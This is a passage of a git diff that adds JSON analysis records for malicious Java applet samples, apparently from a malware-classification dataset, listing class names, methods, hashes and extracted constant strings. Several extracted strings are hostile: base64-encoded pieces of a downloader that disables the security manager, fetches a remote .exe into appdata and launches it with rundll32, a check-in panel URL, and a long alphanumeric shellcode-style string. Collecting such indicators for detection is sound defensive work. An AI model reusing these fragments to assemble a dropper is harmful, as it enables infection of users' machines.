srqwrps|s&sqsprwu&uuqpuuqsutuuu}q prppssp}qps#s}utuuuvq swrvu&uupquuppu&uu$wuu$vutuuupwss}v!vtvtu&uu$quuptu&uuq#uuq$utuutvs$strsstw#s&sts srw#qpr}svsprurqs|s#s u&uu$puuq$uruu$su&uu$ruu$}u&uup}uuptutuuu&s$strsstw#s sprqw#pppwq&u&uuq|uu$|u&uu$$uu$\\'utuut}s$strsstw#s|s#w#qss|s&spq#rprqrurprqpvrqrwspsts!uruu$&u&uu$!uu$ uruu$#u&uu\\'uuu\\'tu&uu\\'wuu\\'vu&uu\\'quuq$u&uu\\'puu\\'sutuuu!rwspsrrvrsrwvvvwwuw!rvwuwwutuuutwwu&uuqruuq}uruu\\'ru&uu\\'}uu\\'|uruu\\'$u&uu\\'\\'uu\\'&uruu\\'!u&uu\\' uu\\'#u&uu&uuu&turuu&wutuuutp&utuuutw#uruu&vu&uu&quu&pu&uu&suu&rutuuuuuruu&}u&uu&|uu&$u&uu&\\'uu&&u&uu&!uu& uruu&#u&uu!uuupru&uu!tuu!wu&uu!vuu!qu&uupwuupvu&uu!puu!su&uupuuuptu&uu!ruu!}utuutus$strsstw#rprqs|s&w#pwsts sqs#s!u&uu!|uu!$u&uu$wuu!\\'utuuu s$strsstw s|s#w rqs!rusqs|rwu&uu!&uupvu&uupsuuprutuuuqw spr}sputuuursrq|pvsrp|rsptutuutus$strsstw#s&sts srw#q#sws$spsvrqutuuwrs$strsstw#rvspsvrprws|rqr|w#purws|rss|s&spsrspsqqpr}svsprurqs|s#s qtsvrqs|s#s utuut s$strsstw#rvspsvrprws|rqr|w#qtsvsvsprvrvqvs#s rqrws#s&s&sprwutuuu&sqs#purws|rss|s&spsrspsqutuuv!w}q&s$strsstw#rvspsvrprws|rqr|w#purws|rss|s&spsrspsqqpr}svsprurqs|s#s qtsvrqs|s#s v\\'w|q&s$strsstw#s&sts srw#q#sws$spsvrqv\\'utuuusstrurusps squtuuw!w}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|q&s$strsstw#s&sts srw#pvrqrws|s srqwrps|s&sqsprwv\\'utuuu}rqs#pvrqrws|s srutuuu#rurws|s rqpvrqstsvs\\'pqrwstsvsputuutus$strsstw#s&sts srw#pvr|rvrqsps!utuutwrvsprqpvspsvrprws|rqr|q!sts stsrsprwutuut w}q&s$strsstw#s&sts srw#pvspsvrprws|rqr|q!sts stsrsprwv\\'w|psutuutpw}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|psutuuu$s#rusps pvrqrwspsts!utuutrw}w|q&s$strsstw#s|s#w#q|s rurprqpvrqrwspsts!v\\'utuutts$strsstw#s&sts srw#pwrps rqs|s!sputuuu$srsprqpwrps rqs|s!sputuutpw}w|q&s$strsstw#s&sts srw#pwrps rqs|s!spv\\'utuutvs$strsstw#s|s#w#q|s rurprqpvrqrwspsts!utuuuqrwspstsqutuuurw}p\\'qwq|q|w|q|utuuuprrrws|rqsputuuurw}p\\'qwq|q|w|psutuuupsvs&s#rvsputuuuqspr}spsvutuuwrw}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|q&s$strsstw#s&sts srw#purws#svsprvrvv\\'utuuu#s$strsstw#s&sts srw#qvs&strvrvutuutvsrsprqpurws#rqspsvrqs|s#s qqs#s!sts|s utuuwww}w|q&s$strsstw#rvspsvrprws|rqr|w#purws#rqspsvrqs|s#s qqs#s!sts|s v\\'utuut s$strsstw#rvspsvrprws|rqr|w#purws#rqspsvrqs|s#s qqs#s!sts|s utuuu!srsprqqvs#sqsppvs#rprwsvsputuut&w}w|q&s$strsstw#rvspsvrprws|rqr|w#qvs#sqsppvs#rprwsvspv\\'utuut}s$strsstw#rvspsvrprws|rqr|w#qvs#sqsppvs#rprwsvsputuuu\\'srsprqq&s#svstrqs|s#s utuutuw}w|q&s$strsstw#s sprqw#pppwq&v\\'utuuuprqs#pppwq|utuutuw}w|q&s$strsstw#s sprqw#pppwq|v\\'utuuu&s$strsstw#s sprqw#pppwq|utuutus$strsstw#s&sts srw#pvrqrws|s srutuuurrwsprus&stsvsputuuqqw}q&s$strsstw#s&sts srw#qvs}strwpvsprtrpsps svspv\\'q&s$strsstw#s&sts srw#qvs}strwpvsprtrpsps svspv\\'w|q&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuuuprvrus&s|rqutuuwrw}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|p\\'q&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuut\\'s$strsstw#rvspsvrprws|rqr|w#q!sprvrvstsrspqqs|srsprvrqutuuu\\'srsprqq|s rvrqsts svsputuuvtw}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|q&s$strsstw#rvspsvrprws|rqr|w#q!sprvrvstsrspqqs|srsprvrqv\\'utuuu}srsprqqwr|rqsprvutuuuqw}w|p\\'qwutuuussqs|srsprvrqutuuusw}p\\'qww|p\\'qwutuutts$strsstw#s&sts srw#q|s rqspsrsprwutuuu\\'rqs#q}spr}pvrqrws|s srutuuu|rvrpswrvrqrws|s srutuutsw}q|q|w|q&s$strsstw#s&sts srw#pvrqrws|s srv\\'utuuuss&sps srrqs}utuuuvw}w|q|utuuussprtrpsts&rvutuutpw}q&s$strsstw#s&sts srw#q#sws$spsvrqv\\'w|p$utuuurs|s sqspr}q#ssutuutpw}q&s$strsstw#s&sts srw#pvrqrws|s srv\\'w|q|utuuurs spr}rqq|s rqutuuuqw}q|w|q|utuut&w}qvw|q&s$strsstw#s&sts srw#pvrqrws|s srqwrps|s&sqsprwv\\'utuuu\\'srsprqpurws#rusprwrqr|uuwtuuv&uuv!uuutuuv uuupuuuuuuv#uuquuuuuuuuuuuqtuuqwuuuuuuuuuuqvuuqquuuuuuu|uuqpuuqsuuuuuuu|uuqruuq}uuuuuuu|uuutuuq|uuq$uuutuuq\\'uuuuuursuuupuuuwuuuuuuv$w$\\'ruuutw$\\'}uuuwprw$pr\\'\\'uuuvp|\\'ruuuqw$w$pr\\'wuuuptwustwur\\'suuu}\\'suuu|twu$\\'suuu|\\'suuu\\'\\'vuuupw$\\'suuu&$ruuu}q&w\\'\\'suuu \\'tuuutuuuquuvtuuvquuu!uuutuuq&uuuuuuwwuuu}uuuuuutquuuquutsuuu|uutruuw!uut}uuvtuut\\'uuvquut|uuvpuut$uuv|uut&uuutuuq!uuq uuutuuq\\'uuuuuuwwuuutuuutuuuuuuusut\\'}uuu#ut\\'uuuuuuuutuuq&uuuuuuu$uuuwuuuuuut#uuuquuwuuuuuuuq#uuq$uuutuuq\\'uuuuuu#uuuuquuu|uuuuuu}}\\'}uutuq!\\'\\'uuttp|w$pr\\'wuuup\\'ruutwq w!\\'suutvv$uq\\'\\'uutqp|w&\\'ruutpv$up\\'}uutsv$usttuquu\\'&u}v$urt|uqt|uruvttuquu\\'suutrp|v&uw|#uuu#t|upt|uruvt\\'\\'suut}$r## st|up\\'suut|t|uq\\'suut$t|usw&\\'suut\\'pr$ruuupv$u}t|us\\'\\'uuuvp|\\'ruuuqtwt&\\'suuu|w&\\'suuu|twt!\\'suuu|\\'suuu\\'\\'suut\\'pr$ruuupv$u}$ruuuqq&\\'tuuuvuupquup\\'uup uuu!uusuuur uu}tuuu!uuuuuu}vuu}suuu!uuutuuq&uuuuuuv uuu#uuuuuuwsuuuquuwruuttuuw}uutruuw|uuwtuuw$uuwsuuw\\'uuw!uuw&uuq$uuw!uuq#uuw uupquuvuuup\\'uuvtuusuuuvvuur uuvquu}vuuvpuu}ruuvruuutuupuuuptuuutuuq\\'uuuuuup uuuvuuuvuuuuuuw w$pr\\'wuut \\'suut#\\'suuwu\\'suuwt\\'suuww\\'suuwvq&w\\'twwqtwwp\\'suuwstwwp\\'suuwrq!w&w&\\' uqsqvw\\'uq&tww}\\'uuuutuuuuuuw|uuw$uuu!uuutuuq&uuuuuutsuuupuuuuuuv&uutpuuv!uuwvuuv uuw$uuv#uuw\\'uuquuuutuupwuupvuuutuuq\\'uuuuuu}&uuuquuusuuuuuuq&tww|\\'}uuw$q!w&w\\'\\'suuw\\'\\'suuw&q \\'\\'uuuvp|\\'ruuuqv$uquvvsuptpupw!\\' $wuuwvt|uqw!tpupvvttuu##r ttutuu}u\\'}uuw!uqus\\'suuw \\'suuu|pr}quput$r##!&t|uq\\'suuu\\'\\'uq!tww}\\'uuuutuuuuuuqruuq}uuu!uuutuuq&uuuuuuwsuuu|uuuuuuq}uuusuuq$uuu#uuq\\'uut}uuq&uuwwuuq!uuv&uuq&uuqwuuq#uuq}uupuuuq|uuptuuutuupquuppuuutuuq\\'uuuuuu|uuuuquuusuuuuuusqw&\\'suuw#us$tuuu\\'w!\\'suuw#us$wuuustww}\\'uw\\'w\\'\\'suuw#u}sqw\\'\\'suuw#\\'suuw v$uqw\\'uvw\\'\\'suuw#u}sq\\'suuw v$upw$\\'\\'uuuvp|\\'ruuuqt|up\\'suuu|w&\\'suuu|\\'suuu\\'\\'suuvuuvu}\\'suuw t|uq\\'suuvt|$uuu w$\\'suuvww!\\'suuvv|\\'uuupw\\'\\'utww}\\'uuuuuuuutuuq&uuuuuut$uuusuuuuuuppuutvuupsuuwvuupruuvuuup}uup#uup|uustuup$uuu|uupsuupruuutuuq\\'uuuuuuswuuuquuuquuuuuuvstww}q&\\'\\'uuvqp|\\'ruuvpq!uvv t!t$$wuuwp\\'\\'uuuvp|\\'ruuuqw\\'\\'suuu|tustw&tut|\\'suuvssu|w\\'suuvr\\'suuu\\'q&}quvut$r##!&w\\'\\'uuuuuuuutuuq&uuuuuut$uuusuuuuuup#uuuvuusuuuu\\'uustuutwuuswuuw uustuuvquusvuuu|uup}uuptuuutuuq\\'uuuuuuv}uuuwuuuuuuuuuuwu\\'\\'uuuvp|\\'ruuuqtwv}\\'}uuv|\\'suuu|tutv\\'}uuv$\\'suuu|twv\\'\\'suuu|\\'suuu\\'\\'uuuuuuuutuuq&uuuuuuusuuutuuuuuusruuu}uup|uuq$uuutuuq\\'uuuuuuwpuuutuuuuuuuuuuu|ut\\'vuuuput\\'vuut \\'tuuuuuuutuuq&uuuuuuu$uuuwuuuuuuttuuuquutwuuutuup$uuuuuuuwuup\\'"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c6e8bd591f3a9349d0e5fe88c55ac3c40d20ca15", "file_name": "java_malicious/a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc", "_id": "4b36b2b3-06dd-4467-b217-03d56a918114", "score": 0, "entropy": 4.068220808072775, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 36808, "ssdeep": "384:8EOHiMxuNdnJ/bYXmToJl2xMxLvViSQMfyNBZEtb4HXVeA3tO5x/3isRdAVuXNQB:8EOHDxGjYXtl2goBogB", "sha256": "a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc", "md5": "a9d93748c9f619e3efc5fcbed71d25d7", "parent_sha256": "a5dc57dd1b36fd5a7f82fe8dea7813e56e66c89c3017a8014f8f54767927e7fc"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09.results b/java_classification/data/malicious/a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09.results new file mode 100755 index 0000000..319ad67 --- /dev/null +++ b/java_classification/data/malicious/a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "FW", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["javax/microedition/lcdui/CommandListener"], "major_version": 46, "method_names": ["", "startApp", "pauseApp", "destroyApp", "commandAction", ""], "minor_version": 0, "const_pool_count": 159}}, "_id": "ce6ea5a9-35ad-423a-9bed-a8bd810e4c5f", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f863d36ca619a08c53ac080355009d47c6e7d638", "file_name": "java_malicious/a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09", "_id": "ce6ea5a9-35ad-423a-9bed-a8bd810e4c5f", "score": 0, "entropy": 5.520548599265455, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2664, "ssdeep": "48:AtXkgCoKLBeTyfycyvO7Sc5SsuaipVU341lMlkmQ58a6PK+Wk:a0gCoK9Zq9nsuaiQSikB8++n", "sha256": "a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09", "md5": "6df8723cd1a5b8a9b18fc042fb63851d", "parent_sha256": "a618141e0ac9c8f05771e29c71711f25fbf464206015a173050f2f0c973eed09"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b.results b/java_classification/data/malicious/a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b.results new file mode 100755 index 0000000..4bf3a71 --- /dev/null +++ b/java_classification/data/malicious/a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ogxqfqlkbxjioi", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "sylgnve", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "1c2cd9d6-cafe-45c8-8cb3-c7b4f46cf0a4", "metadata": {"mimetype": "application/x-java-applet", "sha1": "3be47fa859fb54c3933b29ee39bf702b5c58df3e", "file_name": "java_malicious/a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b", "_id": "1c2cd9d6-cafe-45c8-8cb3-c7b4f46cf0a4", "score": 0, "entropy": 5.2085598316290405, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6942, "ssdeep": "192:TxRgDi7ENKwlTdleTLpfxhi/To55UTYwa5hGX1:b9yzAZfyTofUTkc1", "sha256": "a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b", "md5": "98c704dc94faa694646778395272b0f5", "parent_sha256": "a644537021e96028842052166d2ad3d8d1ad1c23f29b5626d8e416a31f73ee7b"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f.results b/java_classification/data/malicious/a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f.results new file mode 100755 index 0000000..fe23914 --- /dev/null +++ b/java_classification/data/malicious/a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/fluw", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "dpluzijaxpbvgxwa", "jztypbgxlbldjyckn", "xtwtvatgoymbmzx", "basrhllkjtpdksdvdoe", "yryosotqzpxdxau", "nlcnpbjctfrnyelbol", "bktjdvltqjlrfdl", "avnrunhtympsmgyqb", "zbrxyxjwlzfolctpwk", "nziiarlmzgxaqowcdw", "go", "amavijijgbheuzkejb", "bmqacbmpwxzcdddp", "xfqkndpnryllxfpgkjp", "hskjanyvcegtvpff", "rfucjjrrfyswuchozs", "mzmuiiexjbqlrvrbb", "iyzffehzbvtirric", "ufhzkuwcgqidheg", "tdtdovgssxkmqrns", "defcls", "tqtpsuojcxtwdjwdkfl", "brasawsbdjuvpzidd", "ptxwvpqzsskjpsjw", ""], "minor_version": 0, "const_pool_count": 332}}, "_id": "d165f703-463c-432b-94fe-773b40f18ac2", "verbose": {"java": {"constant strings": ["gwlvwjj", "elpzbkqmtvqbeinbsqmhqabu", "xpowwbctvztjwkdnjsgrumohey", "xojxmftmxxmmcgeduxrzjqvh", "", "mure", "noukznncutvjtiqjxvedhgph", "cxklmdvawsyuncamcbfztx", "dwdcqw", "vtmmcuhzgyx", "ahueyilvxsb", "ymhuqwrqaer", "ziqjafcbvpugnrnsqyvezfrzwuu", "tkhmtvebbivhk", "uqlcbzfuzfdlhqckzx", "jnkkfukdilfe", "ailvxwsyvprrgu", "lpgpbqifykpqkih", "nkhoeoz", "pbcpnbhzijbtxmnmyaveovsuirp", "pqjvbbvqclgaxsfuwwskz", "qwkfkpvfycdr", "czqxgdn", "mcajmspauqiwwpkrabojwadhxmr", "xodhb", "nacaqeuhlrosvhcswedo", "cbswamxndravquyelbhqoqutazxtml", "xqeavkpqlfmykqhptwzpb", "pjcuwhz", "nbjdzlurhqrpaclwrpkipm", "kxqdshhnvclfujjjmhqjmh", "crotipudsxbouprjsvgzyv", "fozicbepcocqaqdoomqgvezracrbo", "ifvaxwcyyronscedvzvxhkijd", "fiftuxrvlf", "uzbzbzq", "hqefpor", "hpbvtkplokvrooqkg", "tokdoccehokkbielvpzhnrg", "ywfasbubypkdgigwhjj", "mmmrbbiyxuhwocgyiqxwqqfp", "jspbxaiiu", "jxvujswlnse", "fkvqofcjefapmnqfvrxjlccnuokgl", "zilwof", "upkyjbdnbyme", "pljxrwypfqhqvluzouackug", "dlagiv", "ubcd", "eiakbjxgbzh", "slzzq", "iznjzjjactifnhgfvie", "k", "vccnhtvf", "gygtkgrptejqbdxlol", "arvsdvvsbrdwbvrxekwpo", "gutrne", "nrckclyurxyzepjr", "llfdffcadnxjsabsniuvlx", "kuxauoswfem", "dfqfsbgabwbd", "sdnxykcwtwnplzqjgltflbmd", "ys", "srm", "lzknonggiytffb", "qubaloikboqrkbatvlvymc", "ijfifdmw", "xanevshzae", "amcpdpgqzn", "fdctdohugfum", "yupqk", "fykhlwklsjsvjp", "agyphiyhqbnb", "rkzpwvpdyidlasukdrm", "dsqrpeoabm", "jlhbvfukxtkflwdybehtt", "kmhg", "grcimdmadsmmjpgkwwywhfla", "qhvxuqvixybayazryayyhbjshpib", "kdeaxqbpm", "dv", "vkiza", "smkupviq", "rxvcjjs", "eiyytubspamrtjhybmrsnplzlcuo", "otsoghzzspj", "qixweohpxoppojvwvilhtklvpbixib", "grpu", "pkvrbfwfstdksosznrocndrqvre", "mo", "yvlcxfuloyyugwtjqidsogqndpkeox", "yvdqckfgslm", "szzgq", "ab", "wlikiryaseanms", "jyjppd", "udzxqayqotbdkjtcerpjn", "wn", "mzomghrfzwhlvgkjv", "ukttas", "sdctgjcbdqdbjbjnhysbm", "yksqlxbhuuznfhzhyvv", "smhcsopumlckemqpleqvmpzg", "dgtwgoddjhmhmxnkfmxmajr"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "af7538b7f66b91a2ba50c10d1ce0910064c42b92", "file_name": "java_malicious/a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f", "_id": "d165f703-463c-432b-94fe-773b40f18ac2", "score": 0, "entropy": 5.738268981003496, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7283, "ssdeep": "96:7In4vBeh8asmL7ejjA4avw53Pn1DbAU3zJd/sNoD+LXQPhWlrAstHNTQzUSihAdk:7IVSnAQ53dbjsUpipHScayqcbCOp", "sha256": "a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f", "md5": "9188d354b77ef700bce0c5f2029428f0", "parent_sha256": "a68e336eee42abd67ead7f16b96fbbc1833cde4e726874ee1b81ed8575a2a15f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1.results b/java_classification/data/malicious/a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1.results new file mode 100755 index 0000000..6acce59 --- /dev/null +++ b/java_classification/data/malicious/a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "sender", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 47, "method_names": ["", "load", "start", "run"], "minor_version": 0, "const_pool_count": 113}}, "_id": "ded5c224-433c-4942-ae57-df628c719381", "verbose": {"java": {"constant strings": ["/", "5t5JsmmQ", "9AL0Xm9h755", "9foVdA", ":", "A6Io70MlX8f20", "CO3bguPm7hds8S", "GLnvFE", "OMLqv7", "TdrcH6lXciJvZ", "bF8ExmsgHw790U", "g5pexs", "hJFzUJmM", "m", "qUic17rUxN", "s", "text", "z6I1s30tU0WUz", "zB69T"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bfe99d12f0343d953b60335a71de5fdacdb9acca", "file_name": "java_malicious/a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1", "_id": "ded5c224-433c-4942-ae57-df628c719381", "score": 0, "entropy": 5.7426849411387515, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1663, "ssdeep": "48:YeYhigRvLBwgIi7MzZbDiFx9naKW9NOd8Hwsw434:OzT7lFx99W9NOmQF4I", "sha256": "a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1", "md5": "71648d1011fe48a62beb83a87d7f3dae", "parent_sha256": "a7932da9d72c7de8267df341a3a2c43a5f22b4ccdc3d183684fcb086d54989a1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925.results b/java_classification/data/malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925.results new file mode 100755 index 0000000..80a5082 --- /dev/null +++ b/java_classification/data/malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "7aa2ff49-0cac-4b1b-8e53-a52f6e2d2ba6", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pJ,0L,Pl,Pl,Pj,0L,Pn,pL,PN,pY,xU,Pg,pc,0W,pZ,Kw,pk,YK,Le,P5,PU,Pq,OU,4o,Q6,PU,Pu,PU,Pr,XT,Ll,Kq,Pd,LN,kr,PU,Ln,ML,KQ,xG,xz,Ke,Yl,KG,0f,Tn,m1,PC,Ln,kc,Xe,ll,KL,7s,ZT,DV,9Z,HL,Ou,Pu,P7,pk,Rh,yP,h2,Or,Nw,pe,Pq,x2,Uc,BR,LR,MP,Tk,OV,vN,km,8y,xD,97,pW,p3,0L,KZ,ws,wO,pw,Oe,PS,EK,Jw,70,WR,go,pW,OG,pp,uk,JN,kJ,Os,ov,SK,yM,Qj,LS,4V,aE,P7,pN,kk,lV,1F,2Q,CE,8v,d5,Qw,pw,p9,os,fF,lr,za,I2,qP,RL,KG,rp,Sb,cK,07,Ku,P0,uY,jM,QS,KK,Lf,Np,e1,hu,5s,Ed,Cn,cZ,KG,xM,YS,3o,73,s3,4T,nb,Ep,xS,Uk,v1,Sc,8g,pa,KO,zk,qu,TT,pm,Xp,Eg,pt,si,Pb,pP,Pb,s1,Gp,PY,op,VF,pK,3l,8e,PR,Us,61,z6,aC,ci,op,Vt,DP,Z0,Yo,sJ,bW,t1,QM,PV,Ze,PS,En,Ty,o6,6V,hs,a1,Fl,Kp,uW,LL,KP,t6,Nc,He,Sl,5V,6n,kR,V7,Pw,sx,u4,sy,Yr,iq,QN,M7,sO,5U,ck,kd,Oo,Nb,0T,zx,VR,TG,xY,Qx,KD,MF,cY,JQ,Px,k8,q5,kW,oq,eY,wQ,Nn,kS,nu,tv,cK,mQ,vL,KF,lB,kL,KQ,Nu,Lw,sK,ml,Kt,DL,K3,3Z,eL,ka,NS,iJ,cK,Xk,Ok,Nk,Ok,OL,NR,nf,nj,LL,X9,nM,Zv,n1,nY,Hk,Rr,Sg,C8,Jl,JS,kF,Vw,jv,OP,pC,tP,Ws,UP,QS,0C,Xt,4P,t0,pg,Jv,Ot,oR,CP,a3,D3,Vr,Lb,OQ,gp,e0,rq,qp,rP,t6,Nq,sb,OP,mv,OB,NU,5D,7R,S4,oP,mP,aC,B5,3s,Xv,NQ,xq,dP,mb,L6,O0,nt,pv,Pp,8d,qP,04,vv,R0,0D,qd,sV,Qv,XR,RT,pE,d6,PT,y3,zv,P0,bV,Pp,0v,P6,V6,PT,qS,bw,Bq,rC,Vq,uv,SP,7D,pU,66,7Q,vF,Wu,67,Ht,tV,Tb,Dw,If,85,2F,PQ,uf,SS,Ve,4v,V5,db,yQ,vq,rP,5P,6P,dq,rq,v1,qb,zV,Pv,QD,pF,P1,vv,Pv,WD,pw,pU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d278cc2e9fe27347997362f6ecc2036e55727178", "file_name": "java_malicious/a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925", "_id": "7aa2ff49-0cac-4b1b-8e53-a52f6e2d2ba6", "score": 0, "entropy": 5.989345695188658, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3132, "ssdeep": "48:4vVk0yFloNpDyzGDh2rjPDrxhdW5NNNtMIb5GUFwIsFlXRkHccQjtZtgobKqgs58:hFFlIpDErDrRGNyI1RxC92XQjt9bKsCn", "sha256": "a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925", "md5": "835485628001dab2c790a135baf13c0d", "parent_sha256": "a848fbb81a8cd2ab3e63b87f36bff4dd7695ea506532074198fefb4876329925"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850.results b/java_classification/data/malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850.results new file mode 100755 index 0000000..9c3d5d9 --- /dev/null +++ b/java_classification/data/malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "edXvHy.java", "class_name": "edXvHy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "tbhgx", "init"], "minor_version": 0, "const_pool_count": 68}}, "_id": "7140fc13-ca41-4a88-9232-cfff3a1c6de5", "verbose": {"java": {"constant strings": ["\\n\"<\"&", "o!tx}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "327b72ee7a8dee0cb1736eded8f95b49ccda4e4d", "file_name": "java_malicious/a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850", "_id": "7140fc13-ca41-4a88-9232-cfff3a1c6de5", "score": 0, "entropy": 5.62509247572858, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1068, "ssdeep": "24:Da3yQul2XmPnhPv0OypjbUGYvqo9FslBTaRx0qx:DuyFlqmPZo9bUGYZpWK", "sha256": "a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850", "md5": "8b693d4bb79fb0a5245f3474d596f037", "parent_sha256": "a8c442f903dd3f26b1f8a5b8ec6c4cef48fc9e729bb3298af2071014df4c8850"}} \ No newline at end of file diff --git a/java_classification/data/malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e.results b/java_classification/data/malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e.results new file mode 100755 index 0000000..82bda66 --- /dev/null +++ b/java_classification/data/malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Java_Update.java", "class_name": "Java_Update", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "init", "execute", "decode", "updateCheck", ""], "minor_version": 0, "const_pool_count": 296}}, "_id": "18745780-576e-48b7-9125-0d7c3b46244b", "verbose": {"java": {"constant strings": ["c2V0U2VjdXJpdHlNYW5hZ2Vy", "ZmlsZTovLy8=", "aHR0cDovL2RpcmVjdHhleC5jb20vdXBsb2Fkcy8xNTUwNDQ0MTEwLmphdmE3dTQ1X25ldC5leGU=", "YXBwZGF0YQ==", "XEphdmFfdXBkYXRlNy5leGU=", "b3MubmFtZQ==", "d2luZG93cw==", "rundll32 url.dll,FileProtocolHandler \"", "\"", "amF2YS5jb20=", "_top", "aHR0cDovL3d3dy5ndXRzY2hlaW5lMjAxNC5jb21saS5jb20vcGFuZWwucGhw", "?success=true&o=", "os.name", "?success=false&o=", "", "amF2YS5zZWN1cml0eS5QZXJtaXNzaW9ucw==", "amF2YS5zZWN1cml0eS5BbGxQZXJtaXNzaW9u", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "225d15fd45dfc81cd15f10f92e55640082d35445", "file_name": "java_malicious/a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e", "_id": "18745780-576e-48b7-9125-0d7c3b46244b", "score": 0, "entropy": 6.170742310266553, "libmagic": "compiled Java class data, version 51.0", "file_size": 5720, "ssdeep": "96:CaOf37GFlYRVrajw1y2W77aA7wBBG84CVnBJqhWD+d4zz+Zat7:CaOf4lsqw19W7+GSbqhWic+Zat7", "sha256": "a8f3738b74041589ce471f716b567f40f960a5fc147c66dc7802bf99d2e46a3e", "md5": "0302c417f9d686c392f3c611ee8bf658", "parent_sha256": 